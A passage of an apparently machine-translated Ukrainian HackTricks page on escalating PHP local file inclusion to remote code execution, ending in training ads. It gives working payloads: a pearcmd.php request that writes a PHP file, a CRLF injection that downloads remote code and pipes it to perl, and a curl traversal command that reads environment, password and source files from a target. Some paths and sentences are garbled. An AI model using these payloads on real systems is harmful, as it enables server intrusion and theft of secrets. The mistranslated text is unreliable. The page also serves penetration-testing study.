As explained in this post, скрипт /usr/local/lib/phppearcmd.php існує за замовчуванням в php docker images. Більше того, можливо передавати аргументи в скрипт через URL, оскільки вказано, що якщо URL-параметр не має =, він має використовуватися як аргумент. Див. також watchTowr’s write-up та Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Нижче показано приклад, який зловживає CRLF vuln, щоб отримати RCE (з here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Через phpinfo() (file_uploads = on)

Якщо ви знайшли Local File Inclusion і файл, що викликає phpinfo() з file_uploads = on, ви можете отримати RCE:

LFI2RCE via phpinfo()

Через compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Якщо ви знайшли Local File Inclusion і ви can exfiltrate the path тимчасового файлу, АЛЕ сервер перевіряє, чи файл, який буде включений, має PHP-мітки, ви можете спробувати bypass that check за допомогою цієї Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Через eternal waiting + bruteforce

Якщо ви можете зловживати LFI, щоб завантажувати тимчасові файли і змусити сервер зависнути виконання PHP, тоді ви можете brute force filenames during hours, щоб знайти тимчасовий файл:

LFI2RCE via Eternal waiting

До фатальної помилки

Якщо ви включите будь-який із файлів /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Потрібно включити той самий файл 2 рази, щоб викликати цю помилку).

Я не знаю, наскільки це корисно, але можливо.
Навіть якщо ви спричините PHP Fatal Error, тимчасові PHP файли, які були завантажені, видаляються.

Збереження послідовностей обходу з боку клієнта

Деякі HTTP-клієнти нормалізують або стискають ../ перед тим, як запит дістанеться сервера, що ламає directory traversal payloads. Використовуйте curl --path-as-is, щоб зберегти traversal без змін при зловживанні log/download endpoints, які конкатенують кероване користувачем ім’я файлу, і додайте --ignore-content-length для псевдо-файлів, таких як /proc:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

Підлаштуйте кількість сегментів ../ доти, поки не вийдете за межі призначеного каталогу, а потім вивантажте /etc/passwd, /proc/self/cwd/app.py або інші файли з кодом/конфігурацією.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks